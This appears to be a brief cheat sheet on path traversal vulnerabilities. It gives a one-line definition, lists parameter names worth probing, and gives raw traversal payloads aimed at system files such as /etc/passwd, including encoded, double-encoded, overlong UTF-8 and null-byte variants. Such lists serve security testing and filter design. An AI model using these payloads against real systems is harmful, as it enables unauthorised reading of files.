Master path traversal vulnerabilities and their exploitation techniques
Directory Traversal (also known as Path Traversal) vulnerabilities occur when an application uses user-supplied input to construct file paths without proper validation, allowing attackers to access files outside the intended directory.
file, path, page, include
image, photo, document, attachment
dir, folder, directory
template, view, layout
download, get, fetch
../../../etc/passwd, ..\..\..\windows\system32\drivers\etc\hosts
%2e%2e%2f, %252e%252e%252f
%c0%ae%c0%ae%c0%af
../../../etc/passwd%00
%252e%252e%252f